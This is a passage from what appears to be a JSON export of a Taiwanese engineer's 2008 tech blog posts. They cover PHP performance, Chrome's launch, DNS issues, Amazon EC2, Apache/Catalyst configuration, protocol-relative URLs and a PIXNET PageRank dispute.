<code>realpath()</code> 的時候效能並不好。\r\n\r\n在 <a href=\"http://www.linux.org/\">Linux</a> 的 libc 據說沒這個問題 (我沒有實際去 trace libc code，聽別人轉述的)，不過實際灌了一台 <a href=\"http://www.debian.org/\">Debian</a> 跑 PHP 發現解決了 <code>lstat()</code> 的問題後，<code>require_once()</code> 造成的效能問題還是很嚴重。\r\n\r\n目前的解法與 <a href=\"http://www.wikia.com/\">Wikia</a> 類似，想辦法讓 <code>require_once()</code> 能夠很快找到 code，不過還是得想辦法從 PHP 本身下手，改善 <code>require_once()</code> 的效能，讓 PHP Framework 發展的時候不用綁手綁腳。\r\n\r\nPS：目前的方法是改掉 <a href=\"http://framework.zend.com/\">Zend Framework</a> 裡面的 <code>require_once()</code>，由於我們有一個統一的 <code>/pixnet</code>，把裡面的程式碼全部都用絕對路徑。另外在 Autoload 的部份用 <a href=\"http://pecl.php.net/APC\">APC</a> cache，避免再到 <code>include_path</code> 內重複尋找。",
    "title": "使用 PHP Framework 的效能問題"
  },
  {
    "id": "1646",
    "body": "在找 blog 開起來很慢的原因時發現的，全文在這邊：<a href=\"http://blog.gslin.com/2008/08/funpcom-dns.html\">funp.com 的 DNS 設定</a>。\r\n\r\n然後我剛剛才知道原來七月過了啊...",
    "title": "funp.com 的 DNS 設定"
  },
  {
    "id": "1648",
    "body": "<a href=\"http://www.google.com/\">Google</a> 官方對於 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 的公告都出來了：<a href=\"http://googleblog.blogspot.com/2008/09/fresh-take-on-browser.html\">A fresh take on the browser</a>，甚至有<a href=\"http://books.google.com/books?id=8UsqHohwwVYC&printsec=frontcover\">漫畫版本的說明</a>可以看...\r\n\r\n依照 Google 的說明，這是一套 open source software，rendering engine 是 <a href=\"http://webkit.org/\">Apple's WebKit</a>，配上自己寫的 V8 JavaScript engine，看起來又有一堆 web developer 要頭痛了...\r\n\r\n最近就會有 beta version 可以下載來看，到時候再抓來測試。\r\n\r\n<strong>Update</strong>：網站「意外洩漏」的截圖被人抓下來了 (都搞這套...)，有不少人抓了 Screenshot 可以看，以這些截圖看得出來 Chrome 的設計：<a href=\"http://blogoscoped.com/archive/2008-09-02-n72.html\">Google Chrome Screenshots</a>。剛剛看了才想到，不知道 Chrome 有沒有從 <a href=\"http://www.microsoft.com/\">Microsoft</a> 那套學起來，內建一堆自己的東西？順便把 <a href=\"http://gears.google.com/\">Gears</a> 包進去？\r\n\r\n<strong>Update</strong>：釋出了，在 Google 的首頁就有下載點！另外附上 <a href=\"http://www.webstandards.org/action/acid2/\">Acid2</a> 的截圖，看起來沒問題：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2821916997/\"><img src=\"http://farm4.static.flickr.com/3264/2821916997_340fe10e3e.jpg\" alt=\"\" /></a>\r\n\r\n可以注意到網址列的處理上，刻意把站台部份與路徑部份的顏色分開：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2821926987/\"><img src=\"http://farm4.static.flickr.com/3228/2821926987_c9e22a611a.jpg\" alt=\"\" /></a>\r\n\r\n如果是 SSL 站台的話則是黃底，再把 https 用綠色標出：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2822773734/\"><img src=\"http://farm4.static.flickr.com/3046/2822773734_a1b66587c6.jpg\" alt=\"\" /></a>\r\n\r\n如果是過期的憑證會這樣顯示：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2822782350/\"><img src=\"http://farm4.static.flickr.com/3025/2822782350_55a57a3c62.jpg\" alt=\"\" /></a>\r\n\r\nProxy 設定則是直接吃 IE 的設定，預設會打開 DNS prefetch cache，的確有比較順暢... 另外可以用 <code>about:plugins</code> 看到有哪些 plugin 預設就已經被裝起來了，預設有把 Google Gears 裝起來：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2821954587/\"><img src=\"http://farm4.static.flickr.com/3241/2821954587_80f0593b5d.jpg\" alt=\"\" /></a>\r\n\r\n另外一個 <code>about:memory</code> 則是可以直接看記憶體用量，包括其他瀏覽器！ (居然直接去讀其他 browser 的資訊...)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2822112677/\"><img src=\"http://farm4.static.flickr.com/3070/2822112677_8b169d078e.jpg\" alt=\"\" /></a>",
    "title": "Google 自己的瀏覽器：Chrome"
  },
  {
    "id": "1659",
    "body": "在 <a href=\"http://www.techcrunch.com/2008/09/02/getclicky-analytics-service-tracking-2-google-chrome-usage/\">GetClicky Analytics Service Tracking 2% Google Chrome Usage</a> 這篇文章看到 <a href=\"http://getclicky.com/\">GetClicky</a> 在 45000 個網站即時統計 (實際上是 15 mins) 出來的結果。\r\n\r\n目前我看到的是 1.91400% (reload 後變成 1.87233%... XD)，應該會繼續往下跌，不過不知道會跌到什麼地方。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2822777259/\"><img src=\"http://farm4.static.flickr.com/3119/2822777259_2dd3978646.jpg\" alt=\"\" /></a>\r\n\r\n<strong>Update</strong>：現在是 2.78387% 了... @_@",
    "title": "Google Chrome 的市場佔有率"
  },
  {
    "id": "1662",
    "body": "剛剛在 <a href=\"http://slashdot.org/\">Slashdot</a> 的 comment 堆裡看到 <a href=\"http://code.google.com/chromium/\">Chromium</a> (Open Source 版本 <a href=\"http://www.google.com/chrome\">Chrome</a>) 的 buildbot binary (看起來每一個 revision 都有 build)：<a href=\"http://build.chromium.org/buildbot/snapshots/\">http://build.chromium.org/buildbot/snapshots/</a>。\r\n\r\n在公司一直抓不下來，只好特地抓 buildbot binary 了...\r\n\r\nPS：值得特別說明的，buildbot binary 不需要簽 EULA，所以不會有 <a href=\"http://yro.slashdot.org/article.pl?sid=08/09/03/0247205\">Reading Google Chrome's Fine Print</a> 這篇提到的問題。",
    "title": "Chromium 的 nightly builld"
  },
  {
    "id": "1667",
    "body": "最近在研究頁面速度時想到的方法，這個方法對於之後的 JS engine 應該會有幫助，另外也可以解決一個常見的鳥問題。\r\n\r\n國外應該有人有提過這個方法，不過我用 <a href=\"http://www.google.com/\">Google</a> 翻了一下翻不到，等之後找到再收到 <a href=\"http://delicious.com/\">delicious.com</a>。\r\n\r\n程式碼的精神很簡單：\r\n<blockquote><code>var a = function() { /* slow code */ };<br/>setTimeout(a, 1);</code></blockquote>\r\n這樣的好處是：\r\n<ul>\r\n\t<li>程式可以馬上跑下去，就算 code 裡面有一些比較慢的動作 (像是透過網路抓圖片回來)。如果 JS engine 有能力使用 OS threading 就能夠避免 block I/O 造成頁面卡住。</li>\r\n\t<li>在 document 上掛 onready function 有可能會執行不到，原因是頁面中間遇到 JS error 時就不會跑 document 的 onready。但用 setTimeout 的方法就沒這個問題。(只以 IE6/IE7/<a href=\"http://www.mozilla.com/firefox/\">Firefox3</a> 測試過，不確定其他的瀏覽器是否支援)</li>\r\n</ul>\r\n抱怨一下，IE 的 JS 速度實在是不怎麼樣...",
    "title": "加快 JavaScript 的速度"
  },
  {
    "id": "1677",
    "body": "這個週末大概要大亂了...\r\n\r\n剛剛發現系統異常，一路追查下去發現國內 ISP 一卡車的反解不見了，從上層一步一步 trace 後，似乎是 <a href=\"http://www.twnic.net/\">TWNIC</a> 改設定造成的問題 XD\r\n\r\n以 <a href=\"http://www.hinet.net/\">HiNet</a> 為例，122.116/16 整段都是 HiNet 的 (<a href=\"http://rms.twnic.net.tw/twnic/User/Member/Search/main2_2.jsp?queryString=122.116\">IP代理發放單位網段:122.116.0.0-122.117.255.255</a>)，但 DNS 並不是直接交給 HiNet 管，而是透過 TWNIC 管：\r\n<blockquote><code>116.122.in-addr.arpa.   86400   IN      NS      rns2.twnic.net.\r\n116.122.in-addr.arpa.   86400   IN      NS      rns3.twnic.net.\r\n116.122.in-addr.arpa.   86400   IN      NS      rns1.twnic.net.</code></blockquote>\r\n目前 twnic.net 有兩台 NS RR：\r\n<blockquote><code>twnic.net.              172800  IN      NS      moevax.edu.tw.\r\ntwnic.net.              172800  IN      NS      ns.twnic.net.\r\nns.twnic.net.           172800  IN      A       192.83.166.11</code></blockquote>\r\n其中 moevax.edu.tw 已經不會回答了，而 ns.twnic.net 則是傳回不存在 rns{1,2,3}.twnic.net 這些 hostname XDDD\r\n\r\n<strong>Update</strong>：結果是 moevax.edu.tw 恢復了，rns1.twnic.net 還是回 SERVFAIL。所以，這個現象其實很久了？",
    "title": "TWNIC 反解問題"
  },
  {
    "id": "1682",
    "body": "又有一陣子沒有重灌 Windows 了，這次居然是因為誤砍 Windows 系統檔案而爛光光。還好還可以先拿 Notebook 的 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 做事，然後另外一邊重灌 Windows 以及 Windows Update...",
    "title": "重灌 Windows..."
  },
  {
    "id": "1686",
    "body": "這兩天跟 <a href=\"http://blog.xdite.net/\">XDite</a> 聊 <a href=\"http://aws.amazon.com/ec2\">Amazon EC2</a>，除了拿來跑 <a href=\"http://httpd.apache.org/\">apache</a>、<a href=\"http://dev.mysql.com/\">MySQL</a>、<a href=\"http://www.danga.com/memcached/\">memcached</a> 外，也有人拿來作為其他的用途。\r\n\r\n其中一個比較有名的例子是去年十一月的時候，紐約時報的 Derek Gottfrid 寫了一篇文章，說明了把 1851 年至 1922 年的 TimeSelect 與 The New York Times 轉成 PDF 的過程。\r\n\r\n他們已經有 <a href=\"http://zh.wikipedia.org/wiki/TIFF\">TIFF</a> 格式的圖檔，現在想要轉成 <a href=\"http://zh.wikipedia.org/wiki/PDF\">PDF</a> 檔，但原始 TIFF 檔有 4TB，如果在短時間內要轉成 PDF，需要投資不少設備。\r\n\r\n由於他之前使用過 <a href=\"http://aws.amazon.com/s3\">Amazon S3</a>，覺得 S3 是一個還不錯的服務，所以他決定嘗試 Amazon EC2。首先先把 4TB 的圖檔傳到 S3 上。再用 Amazon EC2 跑 <a href=\"http://hadoop.apache.org/\">Hadoop</a>，在上面開 100 台 EC2 instance 轉檔，只花了一整天就把 4TB 的 TIFF 轉完並產生 1.5TB 的 PDF。(<a href=\"http://open.blogs.nytimes.com/2007/11/01/self-service-prorated-super-computing-fun/\">Self-service, Prorated Super Computing Fun!</a>)\r\n\r\n如果計算 S3 與 EC2 所花掉的費用 (包括 storage、bandwidth、running time)，可以在 USD$3000 內解決，總共只花了兩到三天的時間。這是一個還蠻有趣的例子，拿 Amazon EC2 來跑這種需要大量 CPU resource 的工作。",
    "title": "Amazon EC2"
  },
  {
    "id": "1691",
    "body": "<a href=\"http://www.amazon.com/\">Amazon</a> 要搞 CDN 了：<a href=\"http://aws.typepad.com/aws/2008/09/were-never-cont.html\">We're Never Content</a>、<a href=\"http://www.amazon.com/gp/html-forms-controller/aws-content-delivery-service\">AWS Content Delivery Service</a>。\r\n\r\n可以直接跟 <a href=\"http://aws.amazon.com/s3\">Amazon S3</a> 配合，並且提供 API 管理... 不過 CDN 這塊已經算是比較成熟的領域，Amazon 的價格不知道夠不夠漂亮...\r\n\r\n另外 Amazon 的 CTO Werner Vogels 也有寫一篇「<a href=\"http://www.allthingsdistributed.com/2008/09/expanding_the_cloud.html\">Expanding the Cloud</a>」廣告 Amazon CDN。",
    "title": "Amazon CDN"
  },
  {
    "id": "1699",
    "body": "<a href=\"http://www.google.com/\">Google</a> 的創辦人 <a href=\"http://en.wikipedia.org/wiki/Sergey_Brin\">Sergey Brin</a> 也開始寫 Blog 聊工作外的事情：<a href=\"http://too.blogspot.com/\">too.blogspot.com</a>。\r\n\r\n剛剛看只有兩篇，第一篇是 Hello World，第二篇是講<a href=\"http://zh.wikipedia.org/wiki/%E5%B8%95%E9%87%91%E6%A3%AE%E6%B0%8F%E7%97%87\">帕金森氏症</a>。",
    "title": "Google 創辦人 Sergey Brin 的 Blog"
  },
  {
    "id": "1703",
    "body": "<a href=\"http://code.google.com/apis/ajaxlibs/\">Google AJAX Libraries API</a> 除了包括 <a href=\"http://jquery.com/\">jQuery</a> 外，也包括 <a href=\"http://ui.jquery.com/\">jQuery UI</a> 了：<a href=\"http://code.google.com/apis/ajaxlibs/documentation/\">AJAX Libraries API Developer's Guide</a>。\r\n\r\n應該是愈來愈愉快了，什麼東西都用 Google CDN 幫你... XD",
    "title": "Google 的 jQuery 與 jQuery UI"
  },
  {
    "id": "1705",
    "body": "<a href=\"http://developer.yahoo.com/yui/compressor/\">Yahoo! UI Library: YUI Compressor</a>，用 <a href=\"http://www.java.com/\">Java</a> 寫的 CSS 與 JS 壓縮器，安裝以及使用起來也很方便。雖然軟體的速度不快，不過以現在的效能已經夠用了。\r\n\r\n在 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上可以透過 <a href=\"http://www.freebsd.org/ports/\">ports</a> 的 <a href=\"http://www.freshports.org/www/yuicompressor\">www/yuicompressor</a> 裝到系統裡，而使用上只要把檔案從 stdin 輸入，或是在第一個參數裡指定檔名，就會從 stdout 輸出 (或是用 -o 指定輸出檔名) 壓縮過後的版本。\r\n\r\n軟體本身的授權方式與 <a href=\"http://developer.yahoo.com/yui/\">YUI</a> 本體相同，都是 BSD license。",
    "title": "YUI Compressor"
  },
  {
    "id": "1707",
    "body": "<a href=\"http://en.wikipedia.org/wiki/WYSIWYG\">WYSIWYG</a>，也就是「<a href=\"http://zh.wikipedia.org/wiki/%E6%89%80%E8%A6%8B%E5%8D%B3%E6%89%80%E5%BE%97\">所見即所得</a>」，不過我要講的是 Browser 裡常用的所見即所得的編輯模式。\r\n\r\n感想：這東西能不碰就不要碰，基本上是個大地雷。如果打算要支援 1% 以上市佔率的瀏覽器，那麼就包括了 IE6/IE7/Firefox2/Firefox3/Safari/Chrome，每個都是地雷密佈。如果真的要碰，找個 JavaScript 強者，學 <a href=\"http://www.blogger.com/\">Blogger</a> 弄一個超簡單的版本吧，避免支援一堆特殊效果... (絕對會因為 browser 的「特性」而死人)\r\n\r\n然後儘量加強傳統模式 (non-WYSIWYG)，像是 <a href=\"http://alexking.org/projects/js-quicktags\">JS Quicktags</a> 這種編輯器，因為這種編輯器的後遺症少很多，少一些使用者用 WYSIWYG editor，就可以少一些人抱怨。\r\n\r\n這是這幾天看 <a href=\"http://tinymce.moxiecode.com/punbb/\">TinyMCE forum</a> 的感想。",
    "title": "WYSIWYG"
  },
  {
    "id": "1710",
    "body": "<a href=\"http://www.catalystframework.org/\">Catalyst Framework</a> 是 <a href=\"http://www.perl.org/\">Perl</a> 上一個蠻有名的 MVC Framework，使用 Catalyst 比較知名的站台是 <a href=\"http://www.vox.com/\">Vox.com</a>。(可以參考 <a href=\"http://www.slideshare.net/miyagawa/how-we-build-vox/\">How we build Vox</a> 這一份投影片)\r\n\r\n在正式環境下會用 <a href=\"http://www.fastcgi.com/\">FastCGI</a> 或是 <a href=\"http://perl.apache.org/\">mod_perl</a> 提供服務，但測試環境用 CGI 版本似乎是個還可以的選擇，因為改完後馬上就會生效。我記得我很久前用過 Apache + Catalyst-CGI，但是一時間找不到設定檔，只好再從頭摸起。趁這次重新摸的時候把設定檔寫到 blog 上，之後用 <a href=\"http://www.google.com/\">Google</a> 找的時候才找的到。\r\n\r\n在 <code>.htaccess</code> 裡這樣設定：\r\n<blockquote><code>#\r\nAddHandler cgi-script .sh\r\nOptions +FollowSymlinks -Indexes\r\n#\r\nRewriteEngine on\r\nRewriteBase /~gslin/testbed/\r\nRewriteCond %{REQUEST_URI} !/~gslin/testbsd/index\\.sh/\r\nRewriteRule ^(.*)$ index.sh/$1 [L]</code></blockquote>\r\n然後 <code>index.sh</code> 要設成 0755：\r\n<blockquote><code>#!/bin/sh\r\ncd ../../hg/project\r\nexec script/project_cgi.pl</code></blockquote>\r\n另外 <code>project_cgi.pl</code> 也要設成 0755。<del>這樣子除了靜態檔案應該都會動了。不過靜態檔案已經慢慢有習慣丟到另外一個 domain 上，所以還好...</del>\r\n\r\n<strong>Update</strong>：修正 <code>.htaccess</code> 的內容，這樣也順便修好 Catalyst 處理 static files 的部份。",
    "title": "Catalyst 與 Apache 的測試環境"
  },
  {
    "id": "1720",
    "body": "<a href=\"http://jquery.com/\">jQuery</a> 官方 Blog 公佈了這項消息：<a href=\"http://jquery.com/blog/2008/09/28/jquery-microsoft-nokia/\">jQuery, Microsoft, and Nokia</a>。\r\n\r\njQuery 將被整合進 <a href=\"http://www.asp.net/ajax/\">ASP.NET Ajax Framework</a>，同時<a href=\"http://www.microsoft.com/\">微軟</a>也會利用 jQuery 為基礎發展 widgets。<a href=\"http://www.nokia.com/\">Nokia</a> 則是在自己的平台 (<a href=\"http://www.s60.com/life/thisiss60/s60indetail/technologiesandfeatures/webruntime\">Web Run-Time</a>) 試著整合現有的開發工具 (而非重新造輪子)，所以選擇了 jQuery。\r\n\r\n如同官方 Blog 所說，微軟與 Nokia 都直接拿來用，而非要求 jQuery 釋出特殊的版本。所以不需要擔心之後升級 jQuery 會需要 patch 之類的問題。",
    "title": "jQuery 與 Microsoft & Nokia 的合作"
  },
  {
    "id": "1725",
    "body": "<a href=\"http://www.lighttpd.net/\">lighttpd</a> 居然放出 1.4.20 了：<a href=\"http://www.lighttpd.net/2008/9/30/1-4-20-otherwise-the-terrorists-win\">1.4.20 - Otherwise the terrorists win</a>。\r\n\r\n除了從 trunk 把處理 <a href=\"http://www.fastcgi.com/\">FastCGI</a> 的程式碼 merge 回 1.4 branch (merge spawn-fcgi changes from trunk (from @2191))，幾乎都是 security fix 與 bug fix。\r\n\r\n由於 security fix 的部份每一家都會在 lighttpd 官方釋出 patch 時自己先 patch 進 package system 裡的版本，再加上這次有改到 FastCGI 的部份... 如果現有的 FastCGI production 環境跑得很好，建議先維持在原版本，觀望 mailing list 上的情況。",
    "title": "lighttpd 1.4.20"
  },
  {
    "id": "1731",
    "body": "照慣例還是得先說明，我從去年八月 (還是九月？) 開始就是 <a href=\"http://www.pixnet.net/\">PIXNET</a> 的員工，負責處理各種雜事。(不過不包括<a href=\"http://blog.gslin.org/archives/2007/12/05/1382/\">換燈管</a>，那不是我的工作)\r\n\r\n另外說明，<span style=\"font-size: xx-large\">我對 Gene 的 OO 沒有信心</span>，所以請不要跟我討論 Gene 為什麼不用 oo 方法或是 xx 方法，我知道 Gene 都知道這些方法，但是這會擋人財路所以不能做 (不要忘記他跟 BloggerAds 的關係)。\r\n\r\n下面是星期五在公司發生的鳥事情...\r\n\r\n星期五下午被 <a href=\"http://far.pixnet.net/blog\">far</a> 叫進辦公室，與其他同事討論換網址後「部落格觀察」不更新網址造成的影響，有很多 Blogger 很在乎這個分數。討論時覺得奇怪，不是已經換很久了嗎，怎麼又突然拿出來討論？回到家發現原來是「<a href=\"http://www.ithome.com.tw/plog/index.php?op=ViewArticle&articleId=19833&blogId=410\">這次 PageRank 變動表現出無名的跌落? </a>」以及「<a href=\"http://lookurs.blogspot.com/2008/09/pagerank-pagerank-6-breezy-dream-jedis.html\">在 9 月底的 PageRank 變動 (新的 PR6 部落格)</a>」這兩篇文章故意捅 PIXNET 兩刀造成的。\r\n\r\n這兩篇文章的敘述故意給人印象「PIXNET 換網址造成 PageRank 變低，所以部落格觀察不列出也不會與現實狀況違背太遠」。但事實上 Gene 早就預測到 PIXNET 這種改版方式反而會讓整個 PIXNET 的排名大幅提昇，所以故意在「<a href=\"http://lookurs.blogspot.com/2008/08/pixnet.html\">這次 Pixnet 改網址的對應</a>」這篇以「技術上做不到」的假理由拒絕...\r\n\r\n九月底這一波 <a href=\"http://en.wikipedia.org/wiki/Google_search#Google_dance\">Google Dance</a> 不僅將本來舊網址的 PageRank 分數搬過來，更因為個人化網址的關係，讓 PIXNET 許多 Blogger 的 PageRank 提昇的比原來高。\r\n\r\n依照 Gene「宣稱」9 月底只有 14 個 PageRank 6 的 Blog，所以我把 Gene 故意漏掉的 PIXNET 個人的 Blog 列出來：(由於只有挑熱門排行榜上的掃，所以除了這 7 個外，可能還會漏掉幾個)\r\n<ul>\r\n\t<li><a href=\"http://cwyuni.pixnet.net/blog/\">酪梨壽司的日記 http://cwyuni.pixnet.net/blog/</a> (PageRank 6)</li>\r\n\t<li><a href=\"http://seba.pixnet.net/blog/\">夜蝴蝶館 http://seba.pixnet.net/blog/</a> (PageRank 6)</li>\r\n\t<li><a href=\"http://madamed.pixnet.net/blog/\">女主人的沙龍 http://madamed.pixnet.net/blog/</a> (PageRank 6)</li>\r\n\t<li><a href=\"http://chieworld.pixnet.net/blog/\">＊田中千繪の秘密聊聊＊ http://chieworld.pixnet.net/blog/</a> (PageRank 6)</li>\r\n\t<li><a href=\"http://reesion.pixnet.net/blog/\">Reesion's 碎碎唸 http://reesion.pixnet.net/blog/</a> (PageRank 6)</li>\r\n\t<li><a href=\"http://spinalcord.pixnet.net/blog/\">草莓起司蛋糕冰淇淋 http://spinalcord.pixnet.net/blog/</a> (PageRank 6)</li>\r\n\t<li><a href=\"http://terisawu.pixnet.net/blog/\">愛在櫻花翩翩時★A Journal In My Eyes http://terisawu.pixnet.net/blog/</a> (PageRank 6，在 Gene 的「十四人名單」上)</li>\r\n</ul>\r\n另外還有一些是團體的：(也是挑熱門排行榜上的掃)\r\n<ul>\r\n\t<li><a href=\"http://cape7.pixnet.net/blog/\">《海角七號》電影官方部落格 http://cape7.pixnet.net/blog/</a> (PageRank 6)</li>\r\n\t<li><a href=\"http://e234.pixnet.net/blog/\">娛樂23事 http://e234.pixnet.net/blog/</a> (PageRank 6)</li>\r\n\t<li><a href=\"http://baseballbang.pixnet.net/blog/\">棒球邦 http://baseballbang.pixnet.net/blog/</a> (PageRank 6)</li>\r\n</ul>\r\n各位寫手們，不要再相信那個「觀察」了，那是沒有意義的啊 XD",
    "title": "PIXNET 換網址後的 PageRank 情況"
  },
  {
    "id": "1750",
    "body": "寫網頁很常看到 <code>http://www.example.com/static/foo.jpg</code> 這種用法，或是 <code>/static/foo.jpg</code> 這種用法。前者的用法在 HTTPS 的環境下會產生問題 (在 HTTPS 裡讀取 HTTP object)，後者的用法只能在同一台機器上。\r\n\r\n如果想要保持 Protocol，但卻是不同機器時，可以用 <code>//www.example.com/static/foo.jpg</code> 這種用法。即使都是 HTTP 或 HTTPS 也有好處：少送出 5 bytes 或 6 bytes。\r\n\r\n這次改版裡面用了很多，像是這樣：\r\n<blockquote><code>&lt;link rel=\"stylesheet\" href=\"//s.pixfs.net/blog.pixnet.net/comment-form.css?v=e86de92d69f3b8eba3448c5404551725\" type=\"text/css\"&gt;\r\n&lt;link rel=\"stylesheet\" href=\"//s.pixfs.net/blog.pixnet.net/choc-base.css?v=e86de92d69f3b8eba3448c5404551725\" type=\"text/css\"&gt;</code></blockquote>\r\n這是之前看到的技巧，剛剛找到看到的地方了：<a href=\"http://nedbatchelder.com/blog/200710.html#e20071017T215538\">Http-https transitions and relative URLs</a>。",
    "title": "HTTP/HTTPS 的相對路徑"
  },
  {
    "id": "1755",
    "body": "<strong>Note</strong>：我是 <a href=\"http://www.pixnet.net/\">PIXNET</a> 員工。\r\n\r\n這篇是延續「<a href=\"http://blog.gslin.org/archives/2008/10/04/1731/\">PIXNET 換網址後的 PageRank 情況</a>」，我對部落格觀察的批評。我要提兩個重點：\r\n<ul>\r\n\t<li>為什麼 PIXNET 不通知「部落格觀察」，或是其他服務的 service provider？</li>\r\n\t<li>為什麼要手動幫 PIXNET 更新網址？</li>\r\n</ul>\r\n我認為這兩個問題 PIXNET 的立場都沒錯：因為 PIXNET 有照著標準走。\r\n\r\n第一個問題，我們不只沒有通知部落格觀察，我們也沒有通知 <a href=\"http://www.google.com/\">Google</a>、<a href=\"http://www.yahoo.com/\">Yahoo</a> 這些搜尋引擎。因為我們送了 HTTP 標準裡面的「301 Permanent Redirect」，會自動告訴搜尋引擎「你連到的是舊網址 <code>http://blog.pixnet.net/cwyuni</code>，我們已經永久搬到新的網址 <code>http://cwyuni.pixnet.net/blog</code>」。\r\n\r\n這就帶出第二個問題的解答，如果你的系統像搜尋引擎會依照 HTTP 標準走，那麼他就會自動更新。但如果你的系統不會自動更新，那麼就應該手動更新，像是 <a href=\"http://funp.com/\">funP</a> (<a href=\"http://pushfun.blogspot.com/2008/08/funp-pixnet.html\">funP 對 Pixnet 文章與部落格網址進行調整</a>) 或是 <a href=\"http://sitetag.us/\">SiteTag</a> (<a href=\"http://blog.sitetag.us/2008/08/20080822-pixnet.html\">2008/08/22 - 針對《PIXNET 痞客邦》所做的網址轉換</a>)。\r\n\r\n這就是為什麼上面兩個問題，我認為 PIXNET 沒有做錯，而 Gene 的作法是錯的原因。",
    "title": "301 Permanent Redirect 代表的意義"
  },
  {
    "id": "1764",
    "body": "從 <a href=\"http://blogoscoped.com/archive/2008-10-08-n17.html\">YouTube \"In Super HD\"</a> 這邊的文章看到的，高畫質的 YouTube 影片網頁在這邊：<a href=\"http://mrdoob.com/lab/youtube/superHD/\">Youtube, Now in Super HD</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2924997134/\"><img src=\"http://farm4.static.flickr.com/3233/2924997134_b9f4c61c0a.jpg\" alt=\"\" /></a>\r\n\r\n放四個 YouTube player，機車到爆炸的方法 XDDD\r\n\r\nPS：如果把 clickjacking 的想法引入，似乎可以做到無縫？(因為內嵌的 iframe 是 same origin，所以...)",
    "title": "高畫質的 YouTube 影片"
  },
  {
    "id": "1768",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到有人寫程式，<a href=\"http://it.slashdot.org/article.pl?sid=08/10/08/2132212\">用窮舉法列出所有文字的可能性，破解被馬賽克文字的原始內容</a>：\r\n\r\n<object width=\"400\" height=\"225\"><param name=\"allowfullscreen\" value=\"true\" /><param name=\"allowscriptaccess\" value=\"always\" /><param name=\"movie\" value=\"http://vimeo.com/moogaloop.swf?clip_id=1913931&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1\" /><embed src=\"http://vimeo.com/moogaloop.swf?clip_id=1913931&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1\" type=\"application/x-shockwave-flash\" allowfullscreen=\"true\" allowscriptaccess=\"always\" width=\"500\" height=\"281\"></embed></object>\r\n\r\n不過要先猜測到字型才會比較準確。有人要 porting 中文字嗎？XD",
    "title": "用窮舉法破解 (反推) 文字的馬賽克"
  },
  {
    "id": "1778",
    "body": "(指的是美國的搜尋量)\r\n\r\n在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到這則新聞的時候一直笑：<a href=\"http://news.slashdot.org/article.pl?sid=08/10/14/1645227\">YouTube Passes Yahoo As #2 Search Engine</a>。引用的新聞稿在這：<a href=\"http://www.comscore.com/press/release.asp?press=2476\">comScore Releases August 2008 U.S. Search Engine Rankings</a>。\r\n\r\n另外有個值得注意的是，<a href=\"http://www.ask.com/\">Ask.com</a> 這幾個月一直上升，也許沒事就試看看 Ask.com 會搜尋到怎麼樣的東西...",
    "title": "YouTube 搜尋的使用量超越 Yahoo Search 使用量"
  },
  {
    "id": "1781",
    "body": "使用 <a href=\"http://httpd.apache.org/\">apache</a> 的 <a href=\"http://httpd.apache.org/docs/2.2/mod/mod_deflate.html\">mod_deflate</a> 可以減少傳輸量，但實際用發現要處理很多 IE6 的 bug，似乎蠻複雜的...\r\n\r\n列出幾個已經知道的問題：\r\n<ul>\r\n\t<li><a href=\"http://support.microsoft.com/kb/321722/en-us\">Content with \"Content-Encoding: gzip\" Is Always Cached Although You Use \"Cache-Control: no-cache\"</a> (在 IE6 SP1 以及之前的版本)</li>\r\n\t<li><a href=\"http://support.microsoft.com/kb/823386/en-us\">HTML pages only partially appear, HTML pages do not appear at all, or the network stops responding</a> (在 IE6 SP1 以及之前的版本)</li>\r\n</ul>\r\n還要繼續整理這些 bug 資訊，確保使用者端能夠正確的解開。目前看起來，如果看到 IE6 就不使用壓縮功能是比較簡單的解決方法...",
    "title": "mod_deflate 與 IE6 的問題"
  },
  {
    "id": "1786",
    "body": "幾個禮拜前找到一家 <a href=\"http://www.freebsd.org/\">FreeBSD</a> VPS，是 <a href=\"http://www.xen.org/\">Xen</a>-based。與 <a href=\"http://www.slicehost.com/\">Slicehost</a> 的空間、頻寬與價錢比較過後，兩者都差不多 (256MB RAM、10GB storage、100GB bandwidth/month，都大約在 USD$20/month)，不過從台灣連 <a href=\"http://www.rootbsd.net/\">RootBSD</a> 的 latency 比較高 (看起來在美東的機房)。\r\n\r\n租了以後發現基本的 VPS 的功能都不缺。可以透過 <a href=\"http://zh.wikipedia.org/wiki/VNC\">VNC</a> 操作 console (也就是 ttyvX)，有 <a href=\"http://oss.oetiker.ch/rrdtool/\">rrdtool</a> 圖可以看到流量與 CPU usage。另外有看到 Private IP，不過我不確定兩個 node 是否可以透過 Private IP 互連而不計流量。\r\n\r\n以 dmesg 看到環境是 <a href=\"http://www.intel.com/\">Intel</a> 的 E5410。這是一顆 Quadcore CPU，實際用 top 可以看到兩顆 (200%)，跑 <a href=\"http://www.openssl.org/\">openssl</a> 測試速度看起來是可以跑到兩顆 CPU 滿載。作業系統是 32bits 環境，ports 裝起來沒什麼問題...\r\n\r\n用習慣 FreeBSD 而不習慣 <a href=\"http://www.linux.org/\">Linux</a> 環境的人可以用看看。",
    "title": "FreeBSD VPS - RootBSD"
  },
  {
    "id": "1793",
